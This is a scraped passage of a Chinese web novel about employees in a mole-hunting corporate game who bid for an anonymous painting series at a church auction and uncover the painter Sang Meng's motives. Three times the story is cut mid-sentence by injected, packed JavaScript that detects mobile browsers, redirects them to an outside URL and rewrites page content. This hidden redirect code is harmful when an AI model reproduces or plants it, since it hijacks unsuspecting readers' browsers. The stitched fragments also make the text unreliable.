l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780700|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚吧。”说完,陈双赢就离开了。 …… “陈双赢……看来那个疯子说的没错。”王嘉华躺在床上,一边看着窗外的码头,一边思考着:“和这样的人做对手,我真的有机会获胜吗……” 王嘉华怎么也想不出能够打败这种怪物的办法。 “我为什么要来干这么可怕的工作,跟这么可怕的人做敌人啊……我就是个普通人而已……” 自从签署了《翻倍协议》,王嘉华无数次后悔过。他总是会想有没有其他的方法能获得‘方程式’,比如直接去南顿制药所偷来,或者干脆直接挟持人质打劫……可无论怎么做,成功的可能性都几乎为0。想来想去,在这场比赛中获胜是唯一的可能。 “如果一切都没发生过就好了……如果艾琳没有生病就好了……”每次想到这件事,王嘉华就会想到那个可恨的男人,一切噩梦的起源。 一年前的吉隆坡,百货大楼黑烟四起。歹徒只有一人,他就像野兽一样,根本没有任何顾忌,看见人就射杀。 看到艾雅琳小腿中弹的瞬间,胆小的王嘉华并没有上前保护,而是立刻撒开了艾雅琳的手,躲到了货架后抱头发抖——听到枪声的那一刻,王嘉华就已经丧失了全部的判断能力,身体完全交给了怯懦的本能,他数次想要尝试站起来,却发现根本无法控制。 过了许久,当王嘉华好不容易鼓起微不足道的勇气,恢复了一点身体的控制权时,歹徒的脚步突然又朝他的方向奔来——那个青年男人的长相,王嘉华一辈子都不会忘记。 “是我的问题吗?如果我当时保护好艾雅琳,说不定就没事了……” “不!绝对不是我的问题!我能做什么?我什么都做不了!” “可如果和艾雅琳在一起的人不是我,而是别的男人,一个不那么胆怯的男人,或许就能保护好她了……” “不会的!哪有这样的男人?我明明已经做得够好了!” “真的做得够好了吗?可我什么都没做啊……” 自从那次事件之后,王嘉华的大脑每隔一段时间就会陷入这样的垃圾循环,反复与自己争吵。 两人侥幸躲过了歹徒的追杀。案件结束,王嘉华安顿好了受伤的艾雅琳后,经常去当地的警署询问案件的进展。可惜的是,那个歹徒似乎到最后都没落网,唯一有用的信息就是歹徒的长相,以及他那独特的用枪习惯——根据警方在现场的经历,歹徒用的是自制的手枪,他总爱在弹匣只剩下最后一颗子弹的时候换弹。 “如果没有那个男人,艾雅琳就不会感染黑山羊症,我也就根本不用来参加这个破比赛。”每次与自己争吵时,王嘉华都会把所有的罪责推向那个歹徒。 把艾雅琳的黑山羊症治好是王嘉华此生最大的心愿,排第二的,就是亲手杀死那个可恨的歹徒。 王嘉华是一个即胆小,又记仇,同时还死要面子的市井男人,这点他本人也很清楚。 …… 这时,王嘉华突然看到码头有个穿着黑色西装的男人抽着烟,似乎正看着自己。王嘉华坐起身仔细看去,那人装扮看起来像是卡尔德曼身边的一个普通的保镖。 马威克向王嘉华示意,让他过去。 …… 码头边,王嘉华走到了马威克身边:“卡尔德曼愿意给我打钱了吗?” 马威克没有回答,只是扔给了王嘉华一本手册:“拿去看吧。” 王嘉华看了看手册的封面:“《躲枪术练习指导》”。 “躲枪术?”王嘉华疑惑地问:“这是什么呀?” “猎杀环节的事,我已经知道了。”马威克吐着眼圈:“躲枪术是专攻如何躲避中距离子弹的技能,间谍班的必修课,你在一天内学会。明天晚上0点,我会再来这里给你考试,如果你还活着的话。” 王嘉华:“这是……卡尔德曼的意思吗?” “如果你想在猎杀环节活下来,你必须学会这个技能,”马威克:“这是老板要我转达的话。” 说完,马威克很拽地踩灭了烟头离开了。 王嘉华回到了自己的房间,摆弄着这本手册:“躲枪术……这东西真的有用吗?”抱着怀疑的态度,王嘉华还是翻开看了看。 “持枪者开枪时通常会本能地保持手肘伸直的姿态,通过注意持枪者的手肘弯曲程度来预判开枪的时机……” “身体前倾,让躯干与子弹路径保持平行,最大程度减少受弹面积,同时能更准确地观测持枪者的动作……” …… 枯燥的大段文字让王嘉华意识模糊,很快,他的脑袋压着手册睡着了。 第一天总算有惊无险地度过了。每个员工都在第一天收获了各自的成长和理解,同时,每个人也都开始萌生了更多的祸心和防备。 …… 11月2日,入职第二天,早上8点。平等号会议室。 杰西卡:“各位昨日的表现和成绩排名已经公布在南顿制药所的官网了,大家可以查看一下。当然,这个报告是完全公开的,各位的大老板也能看到。” 「委托部工作报告·第一天」 任务完成情况:成功完成。 详细工作报告: 上午,所有员工按照那苏百的提案分区域进行搜索;陈双赢掌握□□内部信息,确定目标乞丐,于上午10点半独自买到目标道具,锁定胜局; 内鬼凯文在获得大量资金后,采用重金驱离乞丐的策略意图减少乞丐数量,却因陈双赢散布玩具信息、导致外来乞丐增多而失败。 与此同时,陈双赢利用玩具复制品,于中央公园处设置陷阱乞丐。 下午,王嘉华受陈双赢诱骗,将目标锁定在陷阱乞丐,并召集所有其他员工共同集资,将大量本金投入于陷阱乞丐上,导致大部分员工巨额亏损(丹因提前退出投票而未参与集资)。 晚上7点,陈双赢回船交付目标道具,完成任务。 当前余额排名: 第一名·陈双赢; 第二名·那苏百·努旺比; 第三名·凯文; 第四名·丹·汉克斯; 第五名·佘孔渝; 第六名·王嘉华。 杰西卡:“所以说,各位在任务中的所有行为,各自的老板都是会看在眼里的;想要获得自己老板的投资,就必须在任务中做出亮眼的表现。” “我通过推理找到内鬼这件事怎么不写上去?”王嘉华提出了质疑,但杰西卡没有理睬,王嘉华只好尴尬地收回质疑。 杰西卡:“老规矩,抽身份吧。”一堆五颜六色的信封被杰西卡摊在了桌上。 所有人抽取了各自身份卡片。 “你今天的身份是普通员工。” “很好!”王嘉华今天仍然是一名普通员工。烧掉身份卡片后,王嘉华特意看了看坐在对面的陈双赢,她依旧面无表情,和第一次见她的时候一样。 “如果这个人是内鬼,那我们所有人都会完蛋吧……”经历了昨天的事,所有人都会时不时看看陈双赢。 肌肉律师那苏百,率先坐了下来,认真地看着杰西卡:“快公布今天的任务吧。”所有人也都坐了下来,目光移向了杰西卡背后的大屏幕。 8. 第七章 第七章·拍卖会1 “漆黑的酒店走廊,白炽灯管忽明忽暗。伴随着水滴声,一个披着黄色雨衣的人从黑暗深处缓慢地走来。白色的脸,红色的圆鼻子,他戴着充满杀意的小丑面具,将手中的手枪上好膛,朝着前方。沾满了水珠的枪口慢慢抬了起来。”——摘自《鬼人画像》。 《鬼人画像》,南顿公司根据每个角色的背景和性格,为他们设计的专属内鬼造型合订本。 远在孤岛的南洋大酒店,大厅中央摆放着一个衣架。黄色雨衣和小丑面具,等待着今天的内鬼将它们穿上。 …… 会议室。屏幕上显示着今天的任务: 「任务公告·第二天」 委托人:南顿制药所股东之一。 委托内容: 股东最近看中了系列油画作品《洲春月》,想要亲眼鉴赏一下。该系列画作的作者不明。整个系列一共分为三部曲,分别为《上旬》,《中旬》和《下旬》。 今日,这上、中、下三部画作将会在普雷斯顿小教堂的公益拍卖会上进行拍卖。 《上旬》会在上午11点进行竞拍; 《中旬》会在下午2点进行竞拍; 《下旬》会在下午4点进行竞拍。 你们今天的公共任务,就是以买家的身份参加这次拍卖会,并获取这上、中、下三部画作中的任意一部,将其带回游轮交给杰西卡。 小道消息:著名油画家桑蒙先生今天也会来到拍卖会现场。 “竞拍油画?”所有人看着任务说明思考着。 杰西卡:“还是那句话,所有在工作过程中的开销全部由你们自己承担,不过入场的身份证明和保证金我都已经替你们安排好了。” 凯文:“也就是说,我们要想办法以最低的价格买到油画。” “而那个内鬼,”那苏百:“内鬼一定会想办法抬高油画的价格,让我们买不到。” 陈双赢轻笑了一声。 眼镜男,丹·汉克斯,又开始撕咬自己的指甲。 佘孔渝:“只要获得其中任何一幅画就行了吗?” “是的,”杰西卡:“比如说,如果你们获得了《上旬》并交给了公司,那么今天的任务就算完成,下午的拍卖会就不用去了。” 凯文:“桑蒙先生也会来这次的拍卖会,这幅《洲春月》难道就是他画的?” 那苏百:“这个叫桑蒙先生的画家,我记得他八年前就已经停止创作了。” 佘孔渝:“他当年好像还是很有名气呢。” 陈双赢:“是吗?” 佘孔渝:“你不知道吗?” 陈双赢木讷地摇摇头。八年前的她还只是个孩子。 凯文:“很有名气的画家,八年前就停止创作……如果这幅画真的是他画的,那应该是非常珍贵了,价格肯定不低啊。” “画了画却不署名,感觉不像是油画大师会做的事吧?”王嘉华试图融入大家的对话。 佘孔渝:“况且他已经停画八年,名气应该早就大不如前了。” “先说好,”那苏百十分认真地看着所有人:“今天不管谁拍到了油画,除内鬼外,价钱所有人均摊!” 所有人都点了点头。 凯文:“事不宜迟,尽早出发吧。” …… 汤旗大楼,卡尔德曼的办公室。 普通保镖马威克直挺地站在卡尔德曼面前:“老板,你找我?” “昨天的报告出来了,你知道吗?”卡尔德曼手中拿着一份报告,朝马威克走来。 马威克:“你说是的是南顿委托部的报告吗?” “啊?不是不是,”卡尔德曼摇摇手:“是我们公司全员工的综合能力测评报告。” 马威克想起来,前几天汤旗公司全员工做了一次岗位能力综合测评,自己也参与了。 卡尔德曼激动地看着马威克:“你的测评结果看了吗?” 马威克有点紧张:“还……还没有。” “我告诉你,你真是太厉害了!”卡尔德曼一边看着手中的报告,一边激动地拍了拍马威克的手臂:“你是我见过的第一个这么厉害的人!” 马威克:“嗯?” “你知道吗?”卡尔德曼:“你所有的数值全都和平均数一摸一样!” 马威克:“啊是吗?” “身高,体重,年龄,各项能力分数……”卡尔德曼仔细打量着马威克:“所有的数全是平均值,没有任何特别的地方!你简直就是一个超级普通人啊!” 马威克笔直地站着,不知道怎么回答。 “我这辈子都没见过如此平凡的人!你到底是怎么做到的?”卡尔德曼一边围着马威克转圈,一边打量着他。 “你看看你的脸,没有任何特色!难怪你跟了我这么久,我都不太记得你长什么样。” “再看看你的发型,标准的小寸头,完全没有任何辨识度!” “你英文名叫什么来着?” 马威克:“David。” “太普通啦!”卡尔德曼激动得拍着手:“你抽烟吗?” 马威克:“呃……有时候抽一点。” “普通!”卡尔德曼:“你身上有什么顽疾吗?” 马威克:“一直都有一点肩周炎。” “普通!”卡尔德曼:“你有什么兴趣爱好吗?” 马威克:“嗯……喜欢爬山,看电影吧。” “普通至极!”卡尔德曼:“谈过几个女朋友?” 马威克:“两个?” “平凡之神!”卡尔德曼越说越激动:“David!天哪David!” 卡尔德曼颤抖的双手紧握着马威克的双肩:“如果外星人来地球,你一定会被抓走的!” 马威克:“啊?为什么?” 卡尔德曼:“因为你就是这个世界上最合适被外星人抓去做研究的人类!” 马威克:“呃……好吧。” “看来卡尔德曼好像并不太关心南顿和王嘉华的事,不过这样也好。”马威克心里这么想着。 …… 上午。普雷斯顿教堂,公益拍卖会现场。 会场规模并不大,大约50来个人,所有参与竞拍的人都已经入座。为了避免被怀疑,委托部的六位员工们都坐开了。 拍卖马上就要开始了。王嘉华看了看其他的员工,凯文在室外接了个电话后回到了自己的座位上。 “应该是又找自己的老板要了一笔钱吧。”王嘉华这样猜测着:“想必其他人今早也都收到了各自老板的汇款。” 昨日的任务报告公布了之后,各位大老板们多少都会给自己的员工一些鼓励资金。王嘉华拿出手机,看着通讯录上卡尔德曼的号码,犹豫了很久,但还是关掉了手机。 到目前为止,王嘉华的银行卡余额仍然是0。 …… “我不会像昨天那样让你占便宜了,王嘉华,”来之前,肌肉律师那苏百威胁王嘉华说:“任务的开销是一定要均分的,如果你今天还是没钱,那我会把你欠的钱记在每个人的账上!”似乎每个人都认同那苏百的提议,王嘉华只好默默地答应了。 …… 会场的折叠椅坐得很舒适,正当王嘉华准备闭眼休息时,一张宣传单摆在了他的眼前。 “先生,欢迎选择我们公司的海运服务。”一个宣传员把广告放到了王嘉华的腿上,然后继续向后面的人派发传单。 王嘉华看了看宣传单:“为什么这个海运费的差别这么大?这有什么区别?” 今天来参与拍卖的,很多都是来自泰国和文莱的客人,大多数人买到喜欢的拍品后,都会选择直接委托海运公司送回自己的国家。 王嘉华看到,海运费分为好几档,最高一档竟然达到了50元每公里! “是这样的,先生。”宣传员微笑着回过头来:“我们公司的运送费是按货物价格区分的,越贵重的货物,运费就越高。” 价值7万以下的货物为最低档;7-10万的货物为第二档……价值50万以上的货物,运费是50元每公里。 宣传员:“是这样的,原本是没有50万以上这档的,这一档这是今天新加的。” 王嘉华:“为什么今天要新加这一档?今天有什么特别的吗?” “先生你可能还不知道,”宣传员小声地说:“今天将会有一位贵宾来到拍卖会。” 王嘉华:“贵宾?有多贵?” 宣传员:“反正只要有这位贵宾在,最高成交价很可能远高于以往。” 看来这小小的拍卖会,今天会有大人物来到。 “……会是桑蒙先生吗?”王嘉华还在思考着,拍卖师已经走向了台上。于此同时,一个头戴高礼帽,脸上戴着墨镜的老男人从会场门口快步走来,坐到了王嘉华的身边。 拍卖师:“让大家久等了。今天上午的第一个拍品,是近期公布于世面的神秘画作《洲春月》三部曲系列的第一作——《上旬》。” 说着,拍卖师身旁的展览台上,帷幕抬升,出现了一幅方形的画作。这就是今天的任务目标之一,委托部的所有员工们都仔细地看着。 画布上是一幅风景鸟瞰图。画布的左侧是陆地,地面上坐落着许多房屋和道路;画布的右侧是宽广的河水,一座长吊桥从左侧的陆地出发,延伸至右侧的河面上。 拍卖师:“该系列作品虽然没有作者的署名,但经过多个国际知名艺术协会的联合认证,是一个集画工与艺术表现力于一身的超高水准的系列作品。” “这幅画无论调色还是布局,确实能称得上是艺术品……作者的技艺的确很高!”王嘉华的本职是一个刻章师,对雕刻有很深的研究,对于画作这样的艺术品也有一些粗浅的见解。 王嘉华开始有点担心:“这样的话,识货的人可能真的会把价格拍得很高……这样对我们很不利啊。” 对不是内鬼的员工来说,这幅画越不值钱就越好。 拍卖师:“《洲春月》上、中、下三旬,可以连成一整幅画。除了现在在大家面前的这张《上旬》,另外两张画作我们也会在今日下午竞拍。对这个系列感兴趣的客人请千万不要错过!” 说着,拍卖师拿起了桌上的小木锤:“那么,现在开始竞拍,起拍价——5万元!” “什么!起拍价就5万元?”王嘉华开始慌乱起来,这个价格完全超出了他的预期。 “5万3。”坐在后区的凯文率先发起挑战。 王嘉华:“很好!是我们的人!但恐怕不会那么简单结束。” “5万5。”似乎有不认识的声音在竞价,看来其他的客人也对这幅画感兴趣。 “5万6!”那苏百的声音给王嘉华带来了希望。 拍卖师:“5万6一次……5万6两次……” 王嘉华:“如果这个能拍下,那任务应该就算成功了吧。” “5万7!”陈双赢突然举牌,打断了拍卖师的锤子。 拍卖师:“很好,这位女士出价5万7。” “你在干什么陈双赢?”王嘉华本想发出质疑,又一个熟悉的声音传来:“6万!”王嘉华又转头看去——是坐在右区的佘孔渝。 “搞了半天都是自己的人在竞拍,他们就这么不放心交给同伴吗?”王嘉华这时才明白,这场游戏除了好人和内鬼之间的斗争,更多的是好人与好人之间的猜疑。 “大家都不知道谁是内鬼,所以对于每个人来说,只有自己拿走拍品才是最安全的。” “6万5!”连眼镜男丹也来凑热闹了。 “7万。”那苏百不甘示弱。 “7 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780701|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万2。”佘孔渝喊道。 “他们的老板今天到底给他们打了多少钱?”由于王嘉华屈服于那苏百的威胁,即便欠钱也必须参与开销的均分,油画的竞拍价越高,就意味着王嘉华今天欠的钱会越多。 几乎没有其他人竞价了,所有喊价的都是委托部自己的人。 “7万7。”凯文最后的报价令现场安静了片刻,这也是所有人心里能承受的最高价位了。 拍卖师:“7万7一次……7万7两次……”当拍卖师刚要落锤时,另一个陌生的声音突然从中区传来:“14万。” 王嘉华惊讶地转头看去,一直坐在他身旁的那个戴着高礼帽的老男人举起来手中的牌子,在场的所有人都看向了这个老男人。 “成交!”三次确认后,拍卖师落下了锤子。 14万元新币,这已经远远超过了所有人的承受范围。没有任何意外,半路杀出来的老男人以一骑绝尘的价格买下了这幅名为《洲春月·上旬》的画作。 …… 上午的拍卖会结束了。街边一栋骑楼的天台上,除了佘孔渝外,委托部的员工们围在一起。 “那个坐你旁边的老头到底是谁啊?”丹看着王嘉华:“你认识他吗?” 王嘉华摇着头:“不认识啊。” 第一件拍品被不认识的老男人抢走了,很多人表现出不甘心的样子。陈双赢靠着围栏玩手机,没有任何表情。 “没关系,还剩下两幅画,下午我们还有机会。”那苏百认真地说。 凯文:“我说我们几个就不要再内讧了,那幅画的价格就是被我们几个抬上去的。” 陈双赢:“那你倒是告诉我谁是内鬼呢?” “对呀对呀!”丹附和着。 看来没人能解决这个问题。 这时,佘孔渝也喘着气,从楼梯间来到了天台。所有人看着佘孔渝。 “怎么样了?”凯文:“找到那个老头了吗?” 佘孔渝点了点头:“找到了,他在教堂附近的一家咖啡厅休息,看样子下午的拍卖会他还会来。” 陈双赢:“你没有跟他打过照面吧?” “没有,我就是偷偷在旁边看,但是感觉有点奇怪。”佘孔渝:“那个男人,好像并不是很富有的样子。” 那苏百:“这是怎么看出来的?” 佘孔渝:“我仔细观察过了,他的行头其实很破旧,没有私家车,点的咖啡也很便宜。” “奇怪了,”那苏百:“既然不是有钱人,为什么会叫价14万买下那副画?” 王嘉华:“或许那幅画对他来说很重要?” 陈双赢看着佘孔渝:“你看清楚他的脸了吗?” “没有,”佘孔渝:“他一直戴着墨镜,装扮还蛮神秘的。” 众人看着彼此。 凯文:“要不我们派个人过去跟他聊聊?看能不能把那幅画要过来?” “还是别浪费这个时间了,”那苏百:“人家花了14万买走的画,怎么可能让给你?除非你肯出更高的价。” 尽管大家早上都收到了大老板的汇款,但14万元对任何人来说都很为难。 那苏百:“别想那么多了,还是专心对付下午的两场吧。那个老男人如果下午真的来了,那说明他的目标很可能和我是一样的。” 《洲春月》,那个男人的目的,很可能就是这幅作品的三个系列。 佘孔渝:“如果真的是这样,那我们可能真的得下血本了。” “呵,”丹:“内鬼现在肯定开心得要死了。” …… 下午2点。拍卖会现场。 如众人所料,那个戴着礼貌和墨镜的老男人又坐在了王嘉华的身边。 拍卖师:“今天下午的第一个拍品,是近期公布于世面的神秘画作《洲春月》三部曲系列的第二作——《中旬》。” 画布上是一片宽阔河流的鸟瞰图,一座长吊桥从水域的中间横跨而过。整幅画上没有陆地,河面上悉数的小木船顺流而下,桥上车来车往,几处飞鸟临空盘旋。 拍卖师:“和《上旬》一样,这幅《中旬》依旧展现了这位神秘画家的卓越画功。据说,《洲春月》三幅画是画家在1个月内画完的,每幅画仅用了10天的时间。画家按照完成绘画的时间,将此三幅画分别命名为上、中、下旬。” 王嘉华东张西望着:“宣传员说今天会有贵宾到场,我怎么到现在都还没看到?”最后一排只有一个单独的座椅,王嘉华看着那个座椅:“那应该就是留给那个贵宾的位子吧。” 拍卖师:“那么现在正式开始竞拍,起拍价8万!” 可等了很久,却没有人叫价。 …… “不要急着喊价!”天台上,那苏百对所有人说:“我们喊得太快,就会引起别人的注意,让其他人都以为这幅画的价值很高,这样的话,其他人就可能会和我们争抢。” …… “参与拍卖会的人的确都有这样的心理。”王嘉华仔细分析着:“其实买家大多数并没有什么艺术造诣,他们看不出画功的优劣,他们看重的是拍品的商业价值。” 趋之若鹜是人类的本能。当一个人看到周围的人都开始追求某个事物时,即便他本身对这个事物毫无兴趣,他也会不由自主地开始关注,甚至争抢。 而不受大众关注的事物没有商业价值,哪怕再高级,也只有少部分真正懂得欣赏的人才会在意。 “8万5。”等了半天,终于有人喊出了第一个价位。 王嘉华时刻注意着身边的那个老男人,目前他只是安静地坐着,没有任何想要举牌的样子。 “8万8。”按耐不住的丹喊了出来,试图锁定胜局。 “9万。” “9万2。” “9万3。” …… 9. 第八章 第八章·拍卖会2 有些人好像是听说了上午的事。 “听说上午的时候,这个系列的第一幅画卖了14万的高价。” “我觉得这幅画确实很好看啊!” “既然能卖14万,说明这幅画应该是真的有实力的。” 听着周围人的闲言碎语,王嘉华瞬间明白,这一定是内鬼在捣鬼,他故意放出了第一幅话被高价拍走的消息。 “9万5。”陈双赢举起了牌子。 拍卖师:“这位女士的喊价,9万5一次……” 9万5,似乎已经到达了一个极限。 拍卖师:“9万5两次……” 全场似乎没有人想要继续跟进。可王嘉华却开始有点慌张。正当拍卖师将木锤抬到最高点时,那苏百突然举牌:“10万!” “干得好!那苏百!”王嘉华并不希望陈双赢拿到那幅画,毕竟,如果她真的是内鬼,这对所有人来说都是最可怕的事。 “10万5千。” “10万7千。” 竞争还在持续。 这时,王嘉华注意到,在保镖的陪同下,一位贵妇走进了会场中,在最后排一个单独的座椅上做了下来。 很快,价格就来到了12万。 “12万9!”佘孔渝喊到,声音有些紧张,看来是承受不住更高的价位了。 没有人继续喊了。 这时,王嘉华身边的那个一直沉默的老男人突然大喊了一声:“你们根本什么都不懂!”全场顿时寂静,所有人看着这个老男人。 不知所措的王嘉华又开始东张西望。 “你们根本不懂这幅画的艺术价值!”老男人怒发冲冠地走向了展览台,站在了那副画的面前。 拍卖师和工作人员看到这样的场景,也都手足无措。 “《洲春月》系列,这是我母亲生前最后的作品。”在所有人面前,老男人深情地看着那幅画:“这是凝聚了她毕生才华和心血的作品,可以称得上是没有任何瑕疵的传世之作!” “可是我现在真的很失望,”说着,老男人转过头,看向全场的卖家们:“起拍价8万?竞拍这么久,竟然13万都不到?这说明了什么?” 王嘉华注意到,最后排的那位贵妇专注地看着台上的老男人,表情十分惊讶。 老男人摘下墨镜:“这说明在座的各位根本不懂如何欣赏画作。这幅画出现在这里,真是对这幅伟大艺术品的侮辱!” 看到摘下墨镜的老人,台下有人开始议论起来:“这不是桑蒙先生吗?” 听到这句话,委托部的六名员工都瞬间警觉起来。王嘉华仔细看着那个老人,虽然戴着高礼帽,但长相确实和那位在八年前消失于公众视野的传奇油画家——桑蒙先生一摸一样。 “像这样的拍卖会,”桑蒙先生摘下礼貌,向所有人鞠了个躬:“容我羞愧地离场。”说完,桑蒙先生就径直走向了大门,离开了教堂。 …… “完蛋了!”和所有好人一样,王嘉华突然意识到,情况发生了颠覆性的转折。 宁静过后是一片喧哗。 “这个《洲春月》系列,竟然是那位桑蒙先生母亲的遗作!” “那这幅画的价值……” “我到底在干什么?” 有的人还在惊叹于刚刚发生的事,有的人已经拿起了手中的牌子。 “15万!” “20万!” “30万!” …… “反正只要有这位贵宾在,最高成交价很可能远高于以往。”王嘉华突然想起了宣传员说的这句话,他立刻回头看去的,与此同时,那位坐在最后一排的贵妇,身旁的保镖第一次替她举起了牌子:“100万。” 拍卖师兴奋地鼓起了掌:“来自文莱的温女士!喊价100万!” 100万……委托部所有人全部沉默了。 …… 毫无任何意外,《洲春月》系列画作的第二部《中旬》以100万的高价被拍走了。 …… 下午2点半。骑楼天台。 “所有人都知道了!”那苏百愤怒地说:“整个系列都是桑蒙先生母亲的遗作,之后的价格只会更高,永远不可能低于100万了!” “没希望了,今天的任务不可能完成了……”王嘉华绝望地跪在地上。 凯文也失落地坐着,抓耳挠腮。 丹仍然是一幅无所事事的样子,一边摸着不存在的门牙,一边悠闲地在墙上搓着指甲盖。 “两个女人去哪了?”那苏百看着王嘉华。 王嘉华:“刚刚离场时,陈双赢拉着佘孔渝,好像又去找桑蒙先生了。” …… 十字路口的街道上,桑蒙先生一个人在人行道上等红青灯,陈双赢和佘孔渝走到了他的身边。 “桑蒙先生,”陈双赢:“可以跟你聊聊吗?关于那副画的事。” 桑蒙先生看了看两人,语气很平静,对着佘孔渝说:“今天上午跟踪我的就是你吧。” “对不起,先生!”佘孔渝有些慌张:“我们的老板对《洲春月》系列非常感兴趣,所以委托我们来找这幅画。” 绿灯马上就要亮了。 陈双赢:“请问桑蒙先生现在准备去哪呢?” 桑蒙先生:“我拍下了我想要的拍品,当然是回家了。” 陈双赢笑了笑:“你说谎了。” 桑蒙先生:“啊?” 通过谎言分析,陈双赢一秒就判断出来桑蒙先生在说谎。 “如果我没猜错,桑蒙先生,”陈双赢:“你现在是要去见一位有钱人吧。” 桑蒙先生没有说话。 陈双赢:“你刚刚之所以在众人面前摘下墨镜,目的就是为了让大家知道,《洲春月》系列是你母亲的遗作这件事。如此一来,《洲春月》系列的画作价位就会飙升,而你手中的《上旬》,也就是你今天上午以14万低价拍到的那幅画,想必也能卖个上百万的好价钱了。” 桑蒙先生有些不耐烦:“你到底想和我说什么?” “那可是你母亲的遗作,”陈双赢:“你难道一点都不想把它留在自己身边吗?”说着,陈双赢把写着自己手机号码的纸条塞进了桑蒙先生的口袋中。 绿灯亮了起来。 桑蒙先生没有理会陈双赢和佘孔渝,朝着马路对面走了过去。 “如果你愿意告诉我关于这幅画的内幕,或许我们能帮你要回第三幅画。”趁桑蒙先生还能听到,陈双赢大声留下了这句话。 …… 不久后。咖啡厅。 “我终于见到你了!桑蒙先生!”温女士激动地握着桑蒙先生的手,然后坐在了桑蒙先生的对面。 温女士:“我是你最忠实的画迷!我从20年前在电视上看到你的作品,直到八年前你隐退,你的每一部油画我都临摹过!” “谢谢你对我的赞美,这么久没出新作品,真是对不起……”桑蒙先生微笑附和着,内心却非常彷徨。 杯中的咖啡倒影着窗外的天空。面对温女士滔滔不绝的崇拜陈述,桑蒙先生的心神却无法集中——他现在最关心的,是温女士愿意出多少钱买他手中的《洲春月·上旬》。 “不好意思啊,我先去一趟洗手间。”热情未却的温女士暂时离开了座位。桑蒙先生摸出了口袋中那张写着陈双赢手机号码的纸条。 “或许我们能帮你要回第三幅画。”桑蒙先生回想着陈双赢最后说的那句话,心情复杂,闭上了眼睛。 …… 下午4点。拍卖会现场。 陈双赢并没有出现在拍卖会。王嘉华看了看身旁,桑蒙先生的位子也是空的。 “看来第三场他是不会来了……不知道陈双赢那边谈得怎么样了。”王嘉华焦虑地等待着第三幅画的登场。 …… 河畔边,桑蒙先生独自一人坐在长椅上看着河流和对岸的夕阳。陈双赢双手插在口袋,慢慢地走了过来。 陈双赢:“想不到你真的会打我电话。” 桑蒙先生:“你们的老板懂得欣赏这幅画,说明他是个聪明的人。” 陈双赢:“《上旬》那幅画,你已经卖出去了吗?” “是啊,”桑蒙先生:“115万,也算是理想的价格了。” 陈双赢:“那真是太可惜了。” 桑蒙先生最终以115万的价格和温女士达成了交易,将《上旬》卖给了她。现如今,《洲春月》的前两幅画作,《上旬》和《中旬》已经全部到了温女士的手中,以委托部的经济实力是不可能要得回来了。 一切希望全部都放在了《下旬》这最后一幅画。 “对你的老板来说的确很可惜,但对我来说,这是救我儿子唯一的机会。”桑蒙先生说。 一个月前,桑蒙先生32岁的儿子因为欠下巨额赌债,被□□的债主找到了住址。 桑蒙先生:“如果这个月再不把钱还清,我恐怕就再也见不到他了。” 陈双赢叹了口气:“没想到当年油画界泰斗级别的人物,如今变成这样。可你为什么不继续创作了呢?” “你见过画家戴墨镜吗?”桑蒙先生:“八年前,我的眼睛突然变了,检查出是青光眼。我不想砸自己的牌子,与其画出令人无法接受的烂作,不如就此结束,至少能留住曾经的荣誉。” 陈双赢:“也正是因为你还保有着这些荣誉,《洲春月》才能卖到这么好的价钱。” 桑蒙先生:“我说了,《洲春月》不是我画的,是我母亲生前的最后一件作品。” “既然如此,”陈双赢:“那你一定见过第三幅油画了?” 桑蒙先生:“你是想知道第三幅画的内容吗?” 陈双赢:“我的老板很想知道!” 桑蒙先生把手机递给了陈双赢,上面是第三幅油画《洲春月·下旬》的照片:“这就是我母亲最后完成的那幅画。” “那可以说说关于你母亲的事吗?”陈双赢一边研究着照片,一边说。 …… “嘿,嘉华!”丹突然坐到了王嘉华的身边。 王嘉华吓一跳:“你坐过来干嘛?” 丹低下头,神神秘秘地问:“你找到内鬼了吗?” “内鬼?不就是你吗?”王嘉华试探性地回答:“你知不知道任务已经快失败了?这么困难的情况你还这么开心,你一定就是内鬼吧?” 丹:“啊?我要是内鬼我还来问你干嘛?” 虽然没有明说,但从前两场竞拍的过程来看,王嘉华心中已经有一个内鬼的人选了。 丹:“那我们一起说?” 王嘉华:“难道你也看出来了?” 丹:“这不是很明显吗?” 这时,拍卖师走上了台。 很快,随着帷幕先开,《洲春月》的第三幅作画——《下旬》也展示在了大家的面前。 …… “我的母亲……”桑蒙先生:“我并不怀念她。” 陈双赢:“发生什么事了吗?” 桑蒙先生:“虽然她教了我画画,但她不是个称职的母亲,也没有给我一个幸福的童年。” 陈双赢:“可以具体说说吗?” “我本来不想提这些旧事……”桑蒙先生:“儿时,我和父母住在乡下。我们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780702|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家是在河流中的一座孤洲上。我很喜欢那个洲岛,上面有很多我开心过的回忆,我们一家三口一起生活的时光。但很可惜,这些美好的回忆只存在于我12岁以前。” “12岁那年,我清楚地记得,母亲趁父亲不在家,带着别的男人回来家中。没过多久,我就听到了在外打工的父亲跳楼自杀的消息。” 